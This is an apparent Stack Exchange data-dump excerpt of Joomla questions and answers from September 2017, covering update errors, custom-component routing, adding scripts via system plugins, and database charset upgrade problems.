  <row Id="21460" PostTypeId="1" AcceptedAnswerId="24549" CreationDate="2017-09-03T06:46:07.573" Score="3" ViewCount="2934" Body="&lt;p&gt;At &lt;code&gt;/administrator/index.php?option=com_joomlaupdate&lt;/code&gt; I click &lt;code&gt;Install the update&lt;/code&gt; to update from &lt;code&gt;3.4.8&lt;/code&gt; to &lt;code&gt;3.7.5&lt;/code&gt;, but immediately after clicking that button I receive a browser popup window &lt;code&gt;invalid login&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am logged into Joomla okay with a &lt;code&gt;super user&lt;/code&gt; account, and the database user has full rights to the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I click OK to the &lt;code&gt;invalid login&lt;/code&gt; message, I am taken to the update screen where nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I visit Extensions &gt; Manage &gt; Install, and try and upload &lt;code&gt;Joomla_3.5.1-Stable-Full_Package&lt;/code&gt; the screen will refresh and nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I unzip &lt;code&gt;Joomla_3.5.1-Stable-Full_Package&lt;/code&gt; into the site's directory, and refresh admin (after deleting the installation folder), I get a pile of errors at &lt;code&gt;Extensions &amp;gt; Manage &amp;gt; Database &amp;gt; Fix&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1616" LastEditorUserId="1616" LastEditDate="2017-09-03T07:00:39.333" LastActivityDate="2019-04-30T13:13:29.583" Title="&quot;invalid login&quot; when attempting to update Joomla 3.4.8 to 3.7.5" Tags="|upgrade|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="21461" PostTypeId="1" CreationDate="2017-09-03T17:18:18.650" Score="0" ViewCount="83" Body="&lt;p&gt;I need to display a disabled radio button using JHTML but I can't find anything useful or any example I could use to learn. Can someone help me ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="11497" LastActivityDate="2017-09-04T08:44:49.993" Title="Display disabled radio button" Tags="|jhtml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21462" PostTypeId="1" AcceptedAnswerId="21463" CreationDate="2017-09-03T19:54:22.143" Score="2" ViewCount="688" Body="&lt;p&gt;I am writing a custom extension, and i wanted to add specific JS and CSS into admin dashboard (on every page), and also different JS/CSS files on front-end...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen many answers, but all of them talk about index.php modifications..&#xA;Is not there a simpler method, like worpdress has, something like this phseudo-code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function AddMyScript(){&#xA;    echo '&amp;lt;link rel=&quot;stylesheet&quot;..................&#xA;    //or $this-&amp;gt;AddScript('myCss', 1.01, url......)&#xA;}&#xA;add_action('wp_head', 'AddMyScript');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also, please add two words about how to implement &amp;amp; call that &lt;code&gt;default.php&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="11499" LastEditorUserId="11499" LastEditDate="2017-09-03T20:15:56.023" LastActivityDate="2017-09-18T01:01:06.870" Title="How to add custom JS/CSS file, without modifying the template (from extension)?" Tags="|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21463" PostTypeId="2" ParentId="21462" CreationDate="2017-09-04T00:36:04.780" Score="5" Body="&lt;p&gt;Here is the documentation:&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish to add different css and js to the front and back of the site then you should use a system plugin and test for which client it is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgSystemRandomname extends JPlugin&#xA;{&#xA;&#xA;   function onBeforeCompileHead()&#xA;   {&#xA;       $doc = JFactory::getDocument();&#xA;       $app = JFactory::getApplication();&#xA;&#xA;       if ($app-&amp;gt;isClient('site')){&#xA;&#xA;         // add all yr scripts and stylesheets from the frontend, eg.&#xA;         $doc-&amp;gt;addScript('/path/to/script.js');&#xA;&#xA;       } elseif ($app-&amp;gt;isClient('administrator')) {&#xA;&#xA;         // add all yr js and css for the backend, eg.&#xA;         $doc-&amp;gt;addScript('/path/to/different_script.js');&#xA;&#xA;      }&#xA;   }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the documentation for making a plugin:&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that isClient came in in J3.7 I think.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2017-09-18T01:01:06.870" LastActivityDate="2017-09-18T01:01:06.870" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21464" PostTypeId="1" CreationDate="2017-09-04T02:55:46.470" Score="1" ViewCount="1741" Body="&lt;p&gt;I have created a custom component with routing that seems to be mostly correct and have now created a module to display multiple items of the component on the homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have got it to a point where the url is &lt;a href=&quot;https://www.site.com/component/menu-item/child-menu-item/item-name&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.site.com/component/menu-item/child-menu-item/item-name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I show a list of items from a menu item then the URL is &lt;a href=&quot;https://www.site.com/menu-item/child-menu-item/item-name&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.site.com/menu-item/child-menu-item/item-name&lt;/a&gt; so this is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing I am trying to do is remove the /component/ portion of the URL however I can't find where to do this. I have printed out the query variable in my component router file but it doesn't have this segment, its like it is being added before I add my segments in my router.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to remove the /component/ portion of the url? Please note that the item name will be dynamic as the component is always growing with new pages so I can't have a static re-write of the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="9575" LastActivityDate="2017-12-19T11:37:33.163" Title="Remove /component/ from URL generated from module for a custom component" Tags="|joomla-3.x|module|custom-component|router|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21465" PostTypeId="2" ParentId="21464" CreationDate="2017-09-04T08:38:56.847" Score="5" Body="&lt;p&gt;The /component/name/ part of the url is automatically written by Joomla router when there is no matching menu item found. This is required for the application to route the command to the proper component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your case, the pattern can be removed by creating the menu item. Since the menu item is already mapped to a component view, the routing will happen correctly.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2017-09-04T08:38:56.847" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21466" PostTypeId="2" ParentId="21461" CreationDate="2017-09-04T08:44:49.993" Score="2" Body="&lt;p&gt;Checkout radiolist option of JHTML&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHTML::_('select.radiolist', $options, 'some label' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;https://docs.joomla.org/API16:JHtmlSelect/radiolist&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/API16:JHtmlSelect/radiolist&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2017-09-04T08:44:49.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21467" PostTypeId="2" ParentId="21464" CreationDate="2017-09-05T07:01:48.177" Score="2" Body="&lt;p&gt;There is a very simple and handy way to do it, you can create a menu at the time of install in script file in method &lt;code&gt;public function postflight($type, $parent)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a process here as follows to create a menu type and then a menu item =&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://webkul.com/blog/menu-item-joomla-rebuild-automatically/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://webkul.com/blog/menu-item-joomla-rebuild-automatically/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will create a menu item of your view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get data before using in the module&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;&#xA;// Create a new query object.&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('id', 'title')));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__menu'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('link') . &quot;='index.php?option=com_custom&amp;amp;view=custom'&quot;);&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('menutype') . &quot;='custom'&quot;);&#xA;&#xA;// Reset the query using our newly populated query object.&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;// Load the results as a list of stdClass objects&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now create a seo link as below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::_(&quot;index.php?option=com_custom&amp;amp;view=custom&amp;amp;Itemid=&quot;.$results[0]-&amp;gt;id,false)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For using at multiple places you can keep this in a helper function to retrieve menu item.&lt;/p&gt;&#xA;" OwnerUserId="8987" LastEditorUserId="8987" LastEditDate="2017-12-19T11:37:33.163" LastActivityDate="2017-12-19T11:37:33.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21468" PostTypeId="1" CreationDate="2017-09-05T08:43:30.320" Score="1" ViewCount="107" Body="&lt;p&gt;I would like to know if it's possible to control the order of the execution of the same event in several plugins.&lt;br&gt;&#xA;For example, I have the event &lt;em&gt;event1&lt;/em&gt; in 2 plugins, and I want the &lt;em&gt;plugin1&lt;/em&gt; execute the event after the &lt;em&gt;plugin2&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="11388" LastEditorUserId="126" LastEditDate="2017-09-09T16:34:59.703" LastActivityDate="2017-09-09T16:34:59.703" Title="How to control the execution order of the same event?" Tags="|joomla-3.x|plugin|extensions|plugin-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21469" PostTypeId="2" ParentId="21468" CreationDate="2017-09-05T09:56:07.537" Score="1" Body="&lt;p&gt;Just order the plugins in plugins manager in the same way you want them to execute. However, it is best practice to keep the even triggers execute in an independent way.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2017-09-05T09:56:07.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21471" PostTypeId="1" CreationDate="2017-09-05T18:55:13.953" Score="1" ViewCount="559" Body="&lt;p&gt;Is there a way to for Joomla to add a BCC to all emails it sends? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the contacts component with over 160 contacts that are contactable via the contact form option. I want to be able to add a BCC to all emails sent via this option.&lt;/p&gt;&#xA;" OwnerUserId="11502" LastEditorUserId="7867" LastEditDate="2017-09-06T04:45:07.387" LastActivityDate="2017-09-06T05:09:17.843" Title="Global BCC for all Emails from Joomla" Tags="|joomla-3.x|emails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21473" PostTypeId="1" CreationDate="2017-09-06T02:57:52.873" Score="2" ViewCount="84" Body="&lt;p&gt;I have a Chronoforms5 form where I want to redirect to another site but when I save the form the 'meta HTTP-equiv=&quot;refresh&quot;' line gets changed to 'm-eta'. &#xA;Any suggestions how to stop this?&lt;/p&gt;&#xA;" OwnerUserId="11507" LastEditorUserId="126" LastEditDate="2017-09-09T16:09:01.680" LastActivityDate="2017-09-29T20:55:25.113" Title="Meta tags keep being changed to m-eta" Tags="|joomla-3.x|redirect|chronoforms|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21474" PostTypeId="2" ParentId="21471" CreationDate="2017-09-06T05:09:17.843" Score="1" Body="&lt;p&gt;There is no direct way to do this from Joomla as there are no events triggered when a mail is sent (hopefully this will change in the future).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you're into core modifications, then you can do this through a core modification. Just open the file &lt;code&gt;components/com_contact/controllers/contact.php&lt;/code&gt; and add the following line just below &lt;code&gt;$mail-&amp;gt;addRecipient($contact-&amp;gt;email_to);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mail-&amp;gt;addBcc('youremail@yourdomain.com');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-09-06T05:09:17.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21475" PostTypeId="2" ParentId="20909" CreationDate="2017-09-06T05:16:34.207" Score="1" Body="&lt;p&gt;I can think of 3 reasons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The new IPs are not added the right way to the .htaccess file.&lt;/li&gt;&#xA;&lt;li&gt;The IPs of the users trying to access the file are not what they claim they are. For example, these users are behind a proxy, and they are giving you the wrong IP.&lt;/li&gt;&#xA;&lt;li&gt;The IPs of these users were blocked by the firewall. You will need to flush these blocks from the firewall (or flush all blocks).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am inclined to think that the third reason might be the cause, since if you hit a forbidden page several times you will eventually get blocked by the firewall (this is the case in most setups).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-09-06T05:16:34.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21476" PostTypeId="1" AcceptedAnswerId="21477" CreationDate="2017-09-06T11:19:34.517" Score="1" ViewCount="281" Body="&lt;p&gt;I manually upgraded a Joomla &lt;code&gt;3.3&lt;/code&gt; to &lt;code&gt;3.4.8&lt;/code&gt;, but &lt;code&gt;Extensions &amp;gt; Manage &amp;gt;  Database&lt;/code&gt; showed:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Joomla! Core database tables have not been converted yet to UTF-8&#xA;  Multibyte (utf8mb4).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I clicked &lt;code&gt;Fix&lt;/code&gt;, and then received the error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error on rename of '.\hydair3\#sql-32d4_c.frm' to '.\hydair3\#__overrider.frm' (Errcode: 13 - Permission denied) SQL=ALTER TABLE `#__overrider` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;&#xA;Error on rename of '.\hydair3\#sql-32d4_c.frm' to '.\hydair3\#__postinstall_messages.frm' (Errcode: 13 - Permission denied) SQL=ALTER TABLE `#__postinstall_messages` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;&#xA;Duplicate key name 'idx_alias' SQL=ALTER TABLE `#__categories` ADD KEY `idx_alias` (`alias`(100));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The database user has full permissions to the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&#xA;Steve&lt;/p&gt;&#xA;" OwnerUserId="1616" LastActivityDate="2017-12-05T13:38:59.947" Title="Error on upgrade of database" Tags="|database|upgrade|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21477" PostTypeId="2" ParentId="21476" CreationDate="2017-09-06T11:33:56.033" Score="1" Body="&lt;p&gt;I edited &lt;code&gt;configuration.php&lt;/code&gt; and replaced the db user with the local MySQL &lt;code&gt;root&lt;/code&gt; user, and the errors no longer occurred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This must mean the local MySQL user has rights issues to the local MySQL database.&lt;/p&gt;&#xA;" OwnerUserId="1616" LastActivityDate="2017-09-06T11:33:56.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21478" PostTypeId="1" AcceptedAnswerId="22093" CreationDate="2017-09-06T12:40:36.180" Score="2" ViewCount="1022" Body="&lt;p&gt;I'm building my own component, and trying to insert a youtube embed url in a tinymce editor field. However, the editor keeps removing the iframe tags from the text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the recommended settings, by removing 'iframe' from the tinymce plugin 'prohibited elements' setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my component fields xml, a field for the editor is created:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;biography&quot; type=&quot;editor&quot; filter=&quot;raw&quot; label=&quot;LABEL_HERE&quot; description=&quot;DESC_HERE&quot; hint=&quot;PLACEHOLDER_HERE&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The filter type is raw, and the type is editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm logged in as the 'super user', and have the global configuration text filtering for super users on 'no filtering'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that i'm missing something, it keeps me busy for several hours now. Kind of frustrating :D&lt;/p&gt;&#xA;" OwnerUserId="11511" LastActivityDate="2018-01-13T23:04:23.667" Title="Can't insert iframe in custom created component tinyMCE field" Tags="|custom-component|joomla-3.7|tinymce|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21479" PostTypeId="2" ParentId="18181" CreationDate="2017-09-06T13:06:25.357" Score="0" Body="&lt;p&gt;Please try to set &lt;code&gt;filter=&quot;safehtml&quot;&lt;/code&gt; to &lt;code&gt;filter=&quot;raw&quot;&lt;/code&gt; in your &lt;code&gt;administrator/components&lt;/code&gt; fields xml.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This setting should allow html tags from the admin editor fields.&lt;/p&gt;&#xA;" OwnerUserId="11511" LastActivityDate="2017-09-06T13:06:25.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21480" PostTypeId="2" ParentId="14424" CreationDate="2017-09-06T17:30:44.037" Score="2" Body="&lt;p&gt;This works for me, in Joomla 3.7.5&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;echo $db-&amp;gt;getNumRows();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, if I added $result = $db-&gt;loadResult(); before the getNumRows() then I get the error the original poster asked about.&lt;/p&gt;&#xA;" OwnerUserId="11397" LastActivityDate="2017-09-06T17:30:44.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21481" PostTypeId="2" ParentId="21460" CreationDate="2017-09-06T18:44:41.030" Score="1" Body="&lt;p&gt;Try to install a fresh 3.4.8 on &lt;strong&gt;the same machine, same place, keep all things equal&lt;/strong&gt;.&lt;br&gt;&#xA;If this doesn't work, there's a problem with your server and Joomla should tell you something about the problem (too old versions of PHP or MySQL, bad permissions etc.)&lt;br&gt;&#xA;If it works do the update.&lt;br&gt;&#xA;If it works :&lt;br&gt;&#xA;1/ you can try to search for differences between the 2 installations. On Linux : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;diff -r &amp;lt;&amp;lt;old_installation&amp;gt;&amp;gt; &amp;lt;&amp;lt;fresh_installation&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you should find something...&lt;br&gt;&#xA;NB : if you use many plugins, extensions etc. it's gonna be more complicated. You will have to install all of them before the &lt;em&gt;diff -r&lt;/em&gt;. May be you'll find the one that causes the problem during this installations...&lt;br&gt;&#xA; &lt;strong&gt;but&lt;/strong&gt; :&lt;br&gt;&#xA;2/ You've got an installation which is OK: the fresh one ! You just have to modify the section of &lt;em&gt;configuration.php&lt;/em&gt; concerning MySQL (DB name, username and password). Since you just updated it, why not trying... If it doesn't work, try to fix the DB : Extensions -&gt; Manage -&gt; Database, &lt;em&gt;Fix&lt;/em&gt; button. If it doesn't work, do the same on a fresh 3.4.8 and update.&lt;br&gt;&#xA;&lt;strong&gt;If on different machines&lt;/strong&gt;, you may need :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysqldump -u root -p&amp;lt;&amp;lt;password&amp;gt;&amp;gt; --opt &amp;lt;&amp;lt;old_DB&amp;gt;&amp;gt; &amp;gt; temp.sql&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to dump the DB from one machine and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; mysql -u root -p&amp;lt;&amp;lt;password&amp;gt;&amp;gt; &amp;lt;&amp;lt;new_DB&amp;gt;&amp;gt; &amp;lt; temp.sql&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to create it on the new machine.&lt;br&gt;&#xA;Don't forget the command :  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chown -R www-data:www-data &amp;lt;&amp;lt;Joomla_dir&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when you modify files here and there ;)&lt;/p&gt;&#xA;" OwnerUserId="5691" LastActivityDate="2017-09-06T18:44:41.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21482" PostTypeId="2" ParentId="18541" CreationDate="2017-09-06T20:40:57.767" Score="1" Body="&lt;p&gt;at the instant the sticky event occurs, the navbar is removed from the page content and affixed at page top.  If the navbar is 50px high, suddenly removing it from page content will cause the remainder of the page content to jump up 50px.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to wrap the navbar in a 50px container div, and exclude the new container div from the affix call.  At affix, the new container div simply serves as a placeholder that prevents &quot;content jump&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another type of &quot;jumpy&quot; problem occurs when the affix parameters are improperly set.  If you have a 100px high header above a 50px high navbar, you should set the affix parameter to 100px.  Doing so will cause the navbar to affix at page top each time the page is scrolled up 100px.  This is the &quot;smooth&quot; look that you want.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mistakenly set the affix parameter to occur at 50px, then the navbar will jump to top each time the page is scrolled up 50px, causing this other type of &quot;jumpy problem&quot;.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a responsive page that permits variation in header height, things can get tricky.&lt;/p&gt;&#xA;" OwnerUserId="11515" LastActivityDate="2017-09-06T20:40:57.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21483" PostTypeId="1" CreationDate="2017-09-06T22:14:06.100" Score="0" ViewCount="539" Body="&lt;p&gt;Related Q/A: &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/10374/how-to-create-a-category-blog-layout-with-all-articles-shown-in-full&quot;&gt;How to create a category blog layout with all articles shown in full?&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the same issue as the referenced article above. I want a category blog to show introtext and readme by default, but on certain menu items I would like only the fulltext to appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The suggested solution by FFrewin works: create a new category type called &lt;strong&gt;blogfull&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Unfortunately&lt;/em&gt; I need a similar solution as a module. &#xA;My website home page has a half dozen modules sprinkled across user4-user7. The modules are of type article newsflash. Like category blog, I see no way to choose fulltext only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it looks like I need a new module type called say &lt;strong&gt;newsflashfull&lt;/strong&gt;.&#xA;But I've looked around and had no idea what moving parts need cloning/changing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help?&#xA;Using joomla 3.7.5&lt;/p&gt;&#xA;" OwnerUserId="11514" LastEditorUserId="126" LastEditDate="2017-09-09T16:26:19.080" LastActivityDate="2024-04-06T21:04:10.477" Title="Module: Show Category blog Fulltext in Module" Tags="|module|menu|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21484" PostTypeId="2" ParentId="21473" CreationDate="2017-09-06T23:36:41.913" Score="1" Body="&lt;p&gt;The post at &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=772074&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?t=772074&lt;/a&gt; from 2012 is quite old but describes a similar problem where the solution was to disable the RS Firewall plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest upgrading Joomla and all third party extensions to the latest versions and if that does not fix the issue, disable third party plugins one by one (especially extensions like Regular Labs ReReplacer etc) to see if the issue is associated with a particular third party extension.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-09-06T23:36:41.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21485" PostTypeId="2" ParentId="21473" CreationDate="2017-09-07T05:57:30.213" Score="2" Body="&lt;p&gt;Thanks for your suggestions. It was the RSFirewall component but it didn't need disabling which would have taken away the protection from hacks. It needed an exception to be added to skip JS protections for the Chronoforms5 component&lt;/p&gt;&#xA;" OwnerUserId="11507" LastEditorUserId="11507" LastEditDate="2017-09-07T06:38:43.633" LastActivityDate="2017-09-07T06:38:43.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21486" PostTypeId="2" ParentId="7174" CreationDate="2017-09-07T08:58:20.577" Score="2" Body="&lt;p&gt;I use the default Joomla multilingual management, no falang, no third-party plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same problem, and I spent 1 hour to find the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key is, don't try to use &lt;code&gt;JFactory::getLanguage()&lt;/code&gt;.&#xA;Instead of that, use &lt;code&gt;JFactory::getSession()&lt;/code&gt; and retrieve the result like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$lang_obj = $session-&amp;gt;get('plg_system_languagefilter');&#xA;$lang_code = $lang_obj-&amp;gt;{'language'} //and yes, here use curly brackets&#xA;echo $lang_code; //return e.g. en-GB, de-DE, etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11516" LastEditorUserId="11451" LastEditDate="2017-09-11T00:03:58.380" LastActivityDate="2017-09-11T00:03:58.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21487" PostTypeId="1" CreationDate="2017-09-07T11:07:59.173" Score="1" ViewCount="519" Body="&lt;p&gt;I have component in Joomla 2.5. I am trying to make it to compatible with Joomla 3.x. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After few changes in the code, I get an error:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Cannot extend from interface JController&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then I change the code &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class drAffiliatesControllerDefault extends JController {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class drAffiliatesControllerDefault extends JControllerAdmin {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After this, it's returning an error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0 Cannot access protected property ApplicationAdministrator::$session&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I am adding the code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JControllerLegacy::display();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it's returning an error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0 Using $this when not in object context&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;can anyone suggest me how can I upgrade my component to 3x&lt;/p&gt;&#xA;" OwnerUserId="11518" LastEditorUserId="126" LastEditDate="2017-09-09T16:06:50.913" LastActivityDate="2017-09-09T16:06:50.913" Title="Making Joomla 2.5 component compatible with Joomla 3" Tags="|joomla-3.x|php|joomla-api|custom-component|upgrade|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
